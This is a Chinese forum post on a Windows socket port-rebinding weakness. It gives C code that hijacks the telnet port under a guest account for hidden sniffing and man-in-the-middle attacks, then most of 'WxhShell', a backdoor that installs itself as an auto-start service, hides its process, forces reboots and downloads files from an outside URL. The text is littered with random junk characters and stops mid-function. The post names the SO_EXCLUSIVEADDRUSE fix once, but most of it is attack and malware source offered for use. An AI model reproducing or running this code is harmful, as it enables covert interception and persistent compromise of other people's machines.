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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fV.A=*1l#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )K>Eniou  
Ss@u,`pr  
  saddr.sin_family = AF_INET; Xmap9x  
;Pol#0_(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E3 ~,+68U  
N_u&3CG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kcscz,  
%sOWg.0_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5u2{n rc  
XKz;o^1a^  
  这意味着什么?意味着可以进行如下的攻击: )z2|"Lp  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kq)+@p  
g  ,/a6M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u @{E{  
pY+.SuM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7ei>L]gm%  
Qqd6.F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L# `lQ"`K  
,N;))3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'i@,~[Z4  
zW*}`S "  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vKcl6bVT  
|A ;o0pL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OOEV-=  
v-P8WFjca  
  #include 89LpklD  
  #include ]]el|  
  #include E S#rs="  
  #include    $x?NNS_ "J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?8 SK\{9r6  
  int main() AuoxZ?V  
  { DJm oW  
  WORD wVersionRequested; ayV6m  
  DWORD ret; >;&Gz-lm  
  WSADATA wsaData; |HrM_h<X  
  BOOL val; ;EgzC^2e  
  SOCKADDR_IN saddr; 6OfdD.y  
  SOCKADDR_IN scaddr; t9G}Yd[T  
  int err; kP7a:(P_g  
  SOCKET s; 7cIC&(h5  
  SOCKET sc; i LF^%!:X%  
  int caddsize;  uY.=4l  
  HANDLE mt; v#RW{kI  
  DWORD tid;   285_|!.Y  
  wVersionRequested = MAKEWORD( 2, 2 ); w- UKMW9"  
  err = WSAStartup( wVersionRequested, &wsaData ); /h/6&R0l  
  if ( err != 0 ) { 1|o$X  
  printf("error!WSAStartup failed!\n"); sCVI 2S!L  
  return -1; ;*y|8od B  
  } <A)+|Y"^h6  
  saddr.sin_family = AF_INET; 6!ZVd#OM%  
   \.c]kG>k-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M6J/mOVx5  
zL9VR;q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~}h^38  
  saddr.sin_port = htons(23); ~_'0]P\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y.q>EUSH  
  { o[o:A|n  
  printf("error!socket failed!\n"); 7N>oY$&)  
  return -1;  M{] e5+  
  } 92!JKZe  
  val = TRUE; .2e1S{9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #MUiL=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JxjP@nr  
  { #:$O=@@?M  
  printf("error!setsockopt failed!\n"); k]Zo-xh4  
  return -1; #;d)?  
  } |</"N-#S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6^Ph '  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {]=v]O |,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q4X7Iu:  
Xad*I ulj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HeCcF+  
  { XdcG0D^  
  ret=GetLastError(); 9ftN8Svw  
  printf("error!bind failed!\n"); ]$3+[9x'  
  return -1; mV<i JZh  
  } CoJ55TAW  
  listen(s,2); ^"1TPd|  
  while(1) cFLd)mt/  
  { 4GVNw!V  
  caddsize = sizeof(scaddr); T'8RkDI}-  
  //接受连接请求 &ik$L!iX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M:_!w[NiLp  
  if(sc!=INVALID_SOCKET) Xt ft*Z  
  { 5^>n5u/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^OF5F8Tf/  
  if(mt==NULL) |=\91fP68`  
  { Raefj(^V  
  printf("Thread Creat Failed!\n"); mG_BM/$  
  break; <{giHT  
  } N<(HPE};  
  } /KAlK5<  
  CloseHandle(mt); ?yp0$r/  
  } _ENuwBYW-  
  closesocket(s); Yj3P 7k$c  
  WSACleanup(); Te;gVG*  
  return 0; :lK4 db  
  }   p'&*r2_ram  
  DWORD WINAPI ClientThread(LPVOID lpParam) ob'n{T+lZ  
  { *xcP`  
  SOCKET ss = (SOCKET)lpParam; ;W0]66&  
  SOCKET sc; +vz` go  
  unsigned char buf[4096]; H>?F8R_iq  
  SOCKADDR_IN saddr; _S"f_W  
  long num;  {7X#4o0  
  DWORD val; %fv)7 CRM  
  DWORD ret; {]^2R>0Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `@|w>8bMz{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \X& C4#  
  saddr.sin_family = AF_INET; u?kD)5Nk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !qA8Zky_  
  saddr.sin_port = htons(23); |z~LzSJv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &3Tx@XhO  
  { x5OC;OQc  
  printf("error!socket failed!\n"); 1kmQX+f  
  return -1; +yWR#[`n  
  } RZO5=L9E  
  val = 100; 6Nt$ZYS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (;}tf~~r  
  { # .<V^  
  ret = GetLastError(); !%xP}{(7  
  return -1; Zn&k[?;Al  
  } <qhBc:kc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jJ~Y]dQi  
  { zE`R,:VI  
  ret = GetLastError(); 0+EN@Y^dAV  
  return -1; /)9W1U^B  
  } ,)h)5o(?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B!bsTvX  
  { B wC+ov=  
  printf("error!socket connect failed!\n"); tWY2o3j  
  closesocket(sc); o9Sn*p-.  
  closesocket(ss); 1zjaR4Tf  
  return -1; Ax!Gu$K2o  
  } kZVm1W1  
  while(1) z/1{OL  
  { xMI+5b8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0Q~@F3N-\>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O"*`'D|hK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |;u}sX1t9  
  num = recv(ss,buf,4096,0); 2yKz-"E  
  if(num>0) $%PVJs  
  send(sc,buf,num,0); D|_V<'  
  else if(num==0) gWrAUPS[  
  break; %y"J8;U  
  num = recv(sc,buf,4096,0); vG Vd  
  if(num>0) "+|L_iuNQ  
  send(ss,buf,num,0); s&'BM~WI  
  else if(num==0) !gH 9ay  
  break; ~O;y?]U  
  } K>1X}ZMdD(  
  closesocket(ss); @(:v_l  
  closesocket(sc); hVP IHQt  
  return 0 ; \t3qS eWc/  
  } t`G)b&3_O  
:eOR-}p'  
#SkX@sl@  
========================================================== 8g*hvPc  
*7" L]6  
下边附上一个代码,,WXhSHELL 4_LQ?U>$  
#Qbl=o4  
========================================================== '#Dg8/r!  
&Un6ay  
#include "stdafx.h" PuXUuJx(  
:Q@)*kQH  
#include <stdio.h> /smiopFcq  
#include <string.h> l#bAl/c`  
#include <windows.h> 5PZN^\^  
#include <winsock2.h> 6^#uLp>  
#include <winsvc.h> s_eOcm  
#include <urlmon.h> /\=MBUN  
|}[nH>  
#pragma comment (lib, "Ws2_32.lib") |dmh  
#pragma comment (lib, "urlmon.lib") XM~~y~j  
7@~tVxB;  
#define MAX_USER   100 // 最大客户端连接数 pCU*@c!  
#define BUF_SOCK   200 // sock buffer I^3:YVR&  
#define KEY_BUFF   255 // 输入 buffer nl1-kB)$e|  
61_f3S(u  
#define REBOOT     0   // 重启 Vq ^]s $'  
#define SHUTDOWN   1   // 关机 !gP0ndRJ=  
Yck~xt&]  
#define DEF_PORT   5000 // 监听端口 q\$6F)ha3  
cxP6-tV%  
#define REG_LEN     16   // 注册表键长度 c ~F dx  
#define SVC_LEN     80   // NT服务名长度 naNyGE7)  
$%2H6Eg0  
// 从dll定义API /_\W+^fE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4MW ]EQ-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uQeu4$k!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bAF )Bli  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kzO&24  
onte&Ed\  
// wxhshell配置信息 )`HA::  
struct WSCFG { 7m1KR#j  
  int ws_port;         // 监听端口 Q\kub_I{@  
  char ws_passstr[REG_LEN]; // 口令 Sm|(  
  int ws_autoins;       // 安装标记, 1=yes 0=no m)&znLA  
  char ws_regname[REG_LEN]; // 注册表键名 SEF6B45}1  
  char ws_svcname[REG_LEN]; // 服务名 \#dl6:"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q M 1F?F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F#V q#|_)>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9 E1W|KE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IA*KaX2S<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x?r1s#88>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K7`YJp`i  
P $ >`  
}; ?tYpc_p#  
UAYd?r  
// default Wxhshell configuration rwqv V ^  
struct WSCFG wscfg={DEF_PORT, /8gL.i$  
    "xuhuanlingzhe", &35|16z%@  
    1, 8SmjZpQ?  
    "Wxhshell", UG[e//m  
    "Wxhshell", 3071:W  
            "WxhShell Service", X K>&$<5{  
    "Wrsky Windows CmdShell Service", |3eGz%Sd  
    "Please Input Your Password: ", OXhAha`R  
  1, |)U|:F/{@  
  "http://www.wrsky.com/wxhshell.exe", ~OFvu}]  
  "Wxhshell.exe" G<qIY&D'  
    }; 30F!kP*E  
wu~hqd  
// 消息定义模块 ?S#\K^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8+'C_t/0i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z,f=}t[.Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &__DJ''+  
char *msg_ws_ext="\n\rExit."; /"#4T^7&  
char *msg_ws_end="\n\rQuit."; (ku5WWJ  
char *msg_ws_boot="\n\rReboot..."; ;vp\YIeX1  
char *msg_ws_poff="\n\rShutdown..."; SUdm 0y  
char *msg_ws_down="\n\rSave to "; >Da~Q WW|  
M##';x0  
char *msg_ws_err="\n\rErr!"; e!x6bR9EZ  
char *msg_ws_ok="\n\rOK!"; {aj/HFLNY  
%c/^_.  
char ExeFile[MAX_PATH]; %:u[MBe,  
int nUser = 0; $Ua56Y  
HANDLE handles[MAX_USER]; i|$z'HK;+  
int OsIsNt; Ax<\jW<  
Z<z;L<tJ 9  
SERVICE_STATUS       serviceStatus; WeT* C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M}F~_S0h  
}ot"Sx\.  
// 函数声明 d@kc[WLD^  
int Install(void); FJS'G^  
int Uninstall(void); pP/@  
int DownloadFile(char *sURL, SOCKET wsh); ')#,X^   
int Boot(int flag); TZB+lj1  
void HideProc(void); x8[MP?Wz  
int GetOsVer(void); =dH$2W)G  
int Wxhshell(SOCKET wsl); HFtf  
void TalkWithClient(void *cs); UTk r.T+2X  
int CmdShell(SOCKET sock); :jem~6i  
int StartFromService(void); 4A.Q21s  
int StartWxhshell(LPSTR lpCmdLine); VcgBLkIF  
m *X7T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WS0JS'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); grcbH  
>SI<rR[~%  
// 数据结构和表定义 e>H:/24  
SERVICE_TABLE_ENTRY DispatchTable[] = Q GPw2Q  
{ ;4~U,+Av  
{wscfg.ws_svcname, NTServiceMain}, <+]f`c*Z  
{NULL, NULL} r6.N4eW.L  
}; _PXdzeI.  
|!*Xl) ]  
// 自我安装 ^PqF<d6  
int Install(void) +V8b  
{ {]/8skov5]  
  char svExeFile[MAX_PATH]; Zz"}Cz:bX  
  HKEY key; H7&xLYQ2  
  strcpy(svExeFile,ExeFile); >)4YP*qIPb  
1(gfdx9|b  
// 如果是win9x系统,修改注册表设为自启动 mN}7H:,  
if(!OsIsNt) { 1Ix3i9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %FA@)?~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t9 F=^)s  
  RegCloseKey(key); BGWAh2w6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n9UKcN-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3'eG ;<F  
  RegCloseKey(key); i^2IW&+}e}  
  return 0; 8<&EvOk  
    } 2C "=!'  
  } M<`|CVl  
} d,F5:w&  
else { #@//7Bf%  
~L?nq@DL  
// 如果是NT以上系统,安装为系统服务 n^9  ?~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )|]dm Q-  
if (schSCManager!=0) &7[[h+Lb  
{ =nRuY '  
  SC_HANDLE schService = CreateService }C#3O{5  
  ( oyeG$mpg  
  schSCManager, YD_]!HK}  
  wscfg.ws_svcname, AFm1t2,+;  
  wscfg.ws_svcdisp, Y 62r  
  SERVICE_ALL_ACCESS, uHM@h{r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >L>+2z  
  SERVICE_AUTO_START,  Y7Gs7  
  SERVICE_ERROR_NORMAL, NGTe4Crx  
  svExeFile, ')TPF{\#  
  NULL, 46XN3r  
  NULL, 284zmZZ  
  NULL, 96ZdM=  
  NULL, ltA/  
  NULL e3(<8]`b[  
  ); \"^% 90F  
  if (schService!=0) ]((i?{jb(  
  {  ?J&)W,~  
  CloseServiceHandle(schService); t_c?Wp~tH  
  CloseServiceHandle(schSCManager); ;e{5)@h$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K{DAOQ.z  
  strcat(svExeFile,wscfg.ws_svcname); Y;Y 1+jt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TSto9 $}*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .[j%sGdKl  
  RegCloseKey(key); v'9m7$  
  return 0; AK/:I>M  
    } wK*PD&nN  
  } ]0 ~qi@  
  CloseServiceHandle(schSCManager); bBE+jqi 2  
} R@`rT*lJ  
} =_-C%<4  
+_mr  
return 1; rla:<6tt  
} XAD3Z?  
la, h  
// 自我卸载 9([6d.`~  
int Uninstall(void) nX[;^v/  
{ ZK dh%8C  
  HKEY key; Sb"2Im>  
&Ocu#Cb  
if(!OsIsNt) { J!p<oW)a!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0HibY[_PbD  
  RegDeleteValue(key,wscfg.ws_regname); BQNp$]5s  
  RegCloseKey(key); `,#!C`E 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oXGZK5w<l  
  RegDeleteValue(key,wscfg.ws_regname); 2Rptxb_@  
  RegCloseKey(key); 3H8Al  
  return 0; #A<"4#}  
  } /lH'hcXcX  
} pj|X]4?wdI  
}  ;}4k{{K  
else { L;)v&a7[P  
 WL-0(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GU6 qIz|  
if (schSCManager!=0) BKb<2  
{ 3|eUy_d3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9g@NcJ]  
  if (schService!=0) -Ktwo_ V*  
  { 0m=(W^c  
  if(DeleteService(schService)!=0) { >t #\&|9I  
  CloseServiceHandle(schService); p;->hn~D'5  
  CloseServiceHandle(schSCManager); lB:l)!]||=  
  return 0; Y5%;p33uFG  
  } 0XIxwc0Iw  
  CloseServiceHandle(schService); I'InZ0J2  
  } AQh["1{yJ  
  CloseServiceHandle(schSCManager); H1T~u{8j}  
} K H}t:m+h  
} -!R l(if  
&?T${*~  
return 1; /hci\-8N~  
} L@A9{,9Pl  
hqW$k w  
// 从指定url下载文件 'NjSu64W  
int DownloadFile(char *sURL, SOCKET wsh) rPTfpeqN)  
{ *l!5QG UoK  
  HRESULT hr; 8=4^Lm  
char seps[]= "/"; fM:80bn L+  
char *token; 2OCdG  
char *file; n\>.T[$"  
char myURL[MAX_PATH]; 1t2cY;vJ  
char myFILE[MAX_PATH]; sU%" azc  
eH[y[~r  
strcpy(myURL,sURL); fsI`DjKi)  
  token=strtok(myURL,seps); `A{'s %$?!  
  while(token!=NULL) m+T2vi  
  { 4  
    file=token; UK:M:9  
  token=strtok(NULL,seps); 0w}{(P;  
  } l $Zs~@N  
J/7 u7_  
GetCurrentDirectory(MAX_PATH,myFILE); M?hFCt3Y  
strcat(myFILE, "\\"); Y6;@/[_  
strcat(myFILE, file); _IKQ36=  
  send(wsh,myFILE,strlen(myFILE),0); }AAbhr9d}  
send(wsh,"...",3,0); Y3M','H([  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K~JC\a\0  
  if(hr==S_OK) OR~GOv|  
return 0; Y[,U_GX/R  
else  >fwlg-  
return 1; /cY[at|p  
h7RD `k:mF  
} P^;WB*V  
Z@nmjji  
// 系统电源模块 n}5x-SxS0  
int Boot(int flag) YiNo#M91  
{ c#x7N9;"!  
  HANDLE hToken; p[gAZ9  
  TOKEN_PRIVILEGES tkp; 2K~tDNv7  
,whM22Af~{  
  if(OsIsNt) { qAvvXs=5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u2om5e:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .lG +a!)  
    tkp.PrivilegeCount = 1; _!;\R7]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %\_h7:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?a8nz, zb  
if(flag==REBOOT) { |nfH-JytV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vT}pbOTh  
  return 0; NIL^UN}  
} 10TSc j  
else { 3]7ipwF2q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5Wl,J _<F  
  return 0; bZnDd  
} $"(3MnR  
  } /Sh4pu"'  
  else { *fOIq88  
if(flag==REBOOT) { DW4MA<UQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yOM -;h  
  return 0; -KA4Inn]5  
} +@^47Xu^  
else { 14;Av{Xt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N~0$x,bR  
  return 0; GZ.?MnG  
} $q.p$JQ:  
} Q.uR<C6)v  
#Z#_!o  
return 1; ?({PcF/  
} v@]6<e$  
uvNnW}G4  
// win9x进程隐藏模块 H|x k${R`  
void HideProc(void) X.:_"+I;  
{ w7Pe  
_i#@t7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t2m  ^  
  if ( hKernel != NULL ) s+Cl  
  { n9wj[t1/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F BE @pd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yqC+P  
    FreeLibrary(hKernel); ~F=#}6kg_  
  } Ds;Rb6WcnY  
uk`d,xF   
return; ` 3vN R"  
} e(4bx5 <*  
]Oig ..LJ  
// 获取操作系统版本 d+1L5}Jn  
int GetOsVer(void) +}`p"<'u  
{ )m oo?Q  
  OSVERSIONINFO winfo; Py}!C@e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M55e=  
  GetVersionEx(&winfo); %y!   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `W D*Q-&n  
  return 1; @m }rQT  
  else 5I wX\  
  return 0; `*|LI  
} .[]{ Q  
Y+}OClS  
// 客户端句柄模块 !#l0@3  
int Wxhshell(SOCKET wsl) LZ3rr-  
{ #wq;^)>  
  SOCKET wsh; F<H`8*q9  
  struct sockaddr_in client; xuw//F  
  DWORD myID; <x.]OZgO  
F%Ro98?{  
  while(nUser<MAX_USER) _ +0uju?o}  
{ eimA *0Cq  
  int nSize=sizeof(client); pqRO[XEp2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]J GKL5~p  
  if(wsh==INVALID_SOCKET) return 1; \5j22L9S  
#J'Z5)i|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D>,$c  
if(handles[nUser]==0) DtI%-I.  
  closesocket(wsh); P6.)P|n7=  
else 1e+h9|hGYw  
  nUser++; 0Ax>gj-`  
  } Hz8Jgp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rjhs ?  
oX%PsS  
  return 0; <VauJB*R  
} #S/pYP`7  
@$K![]oD  
// 关闭 socket ;7B2~zL  
void CloseIt(SOCKET wsh) l{B< "+8  
{ R.^Bxi-UG:  
closesocket(wsh); P\Pc/[ Z7  
nUser--; ~2;&pZ$  
ExitThread(0); s8/ozaeo  
} (2hk <  
QySca(1tN  
// 客户端请求句柄 )x9nED{  
void TalkWithClient(void *cs) n0 fF,?gm  
{ =6L :I x  
^D>/wX\u  
  SOCKET wsh=(SOCKET)cs; {H~8'K-  
  char pwd[SVC_LEN]; FRs|!\S=  
  char cmd[KEY_BUFF]; uL qpbn  
char chr[1]; oj,Vi-TZ  
int i,j; * wQZ '  
q/aL8V<"z  
  while (nUser < MAX_USER) { {HE.mHy  
_KT]l./  
if(wscfg.ws_passstr) { }lr fO_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bUZ&}(/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g,{Ei]$>I  
  //ZeroMemory(pwd,KEY_BUFF); ={wjeRp  
      i=0; O(:u(U7e  
  while(i<SVC_LEN) { tZ*f~yW  
q=j/s4~  
  // 设置超时 SWe!9Y$  
  fd_set FdRead; 7,&3=R <  
  struct timeval TimeOut; gFH;bZU  
  FD_ZERO(&FdRead); D7n&9Z  
  FD_SET(wsh,&FdRead); E Ni%ge'":  
  TimeOut.tv_sec=8; ijR*5#5h  
  TimeOut.tv_usec=0; bb0{-T)1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?U2g8D nFY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xu\/]f)  
Kuzy&NI^w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k[^}ld[  
  pwd=chr[0]; fmT3Afl5c  
  if(chr[0]==0xd || chr[0]==0xa) { 3n=O8Fp  
  pwd=0; d}^ :E  
  break; e[|p0 ,Q  
  } P(W\aLp  
  i++; BLYk <m  
    } -* -zU#2|  
ix_$Ok  
  // 如果是非法用户,关闭 socket LRLhS<9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  ]pucv!  
} h&^/, G  
)H=[NB6J8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'f$?/5@@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [W7\c;Do  
"S:NU .c?  
while(1) { LTlC}3c28f  
rg]A_(3Bb  
  ZeroMemory(cmd,KEY_BUFF); II f >z_m  
]#Z$jq{,  
      // 自动支持客户端 telnet标准   /*xmv $  
  j=0; eyl) uR  
  while(j<KEY_BUFF) { cJp1 <R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dv\:b*  
  cmd[j]=chr[0]; 5{x[EXE'  
  if(chr[0]==0xa || chr[0]==0xd) { WZy6K(18"'  
  cmd[j]=0; P.2.Ge|  
  break; B39PDJ]hu  
  } {)dEO0 p  
  j++; 4UX]S\X  
    } @kgpq  
JOoLHZQ1v  
  // 下载文件 .ubbNp_LU  
  if(strstr(cmd,"http://")) { /`]|_>'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ #O|  
  if(DownloadFile(cmd,wsh)) & ,gryBN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~d<`L[  
  else iLQt9Hyk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HS7 G_  
  } j]] ziz,E  
  else { "Qm~;x2kB  
'| Q*~Lh  
    switch(cmd[0]) { H9a3 rA>  
  WFc[F`b  
  // 帮助 G^eFS;  
  case '?': { ThiPT|5u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #I@[^^Vw  
    break; g he=mQ-  
  } e+=G-u5}-  
  // 安装 RBp(dKxM$w  
  case 'i': { -<HvhW  
    if(Install()) {bsr 9.k(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_nOE(i<z  
    else sp]y!zb"5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %X-&yGY  
    break; SoON@h/  
    } d=u%"36y  
  // 卸载 z@S8H6jM)S  
  case 'r': { =R8.QBVdN  
    if(Uninstall()) sMpC4E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #__'U6`(  
    else mDt",#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QBT-J`Pz  
    break; . R8W<  
    } $S-;M0G x  
  // 显示 wxhshell 所在路径 }n&JZ`8<s  
  case 'p': { 1*`JcUn,>  
    char svExeFile[MAX_PATH]; KV&_^xSoh|  
    strcpy(svExeFile,"\n\r"); v lnUN  
      strcat(svExeFile,ExeFile); $;j6 *,H  
        send(wsh,svExeFile,strlen(svExeFile),0); [AOluS  
    break; M#jeeE-}%  
    } q8yJW-GA   
  // 重启 ,% DAh  
  case 'b': { JdNPfkOF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nhaoh!8A6  
    if(Boot(REBOOT)) /01(9(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJcL{]  
    else { O5n] 4)<  
    closesocket(wsh); ra#)*fG,~  
    ExitThread(0); aNf3 R;*  
    } n7YWc5:CaL  
    break; MicVNs  
    } KKTfxNxJn  
  // 关机 WiCM,wDi  
  case 'd': { 4 Fc1 '  
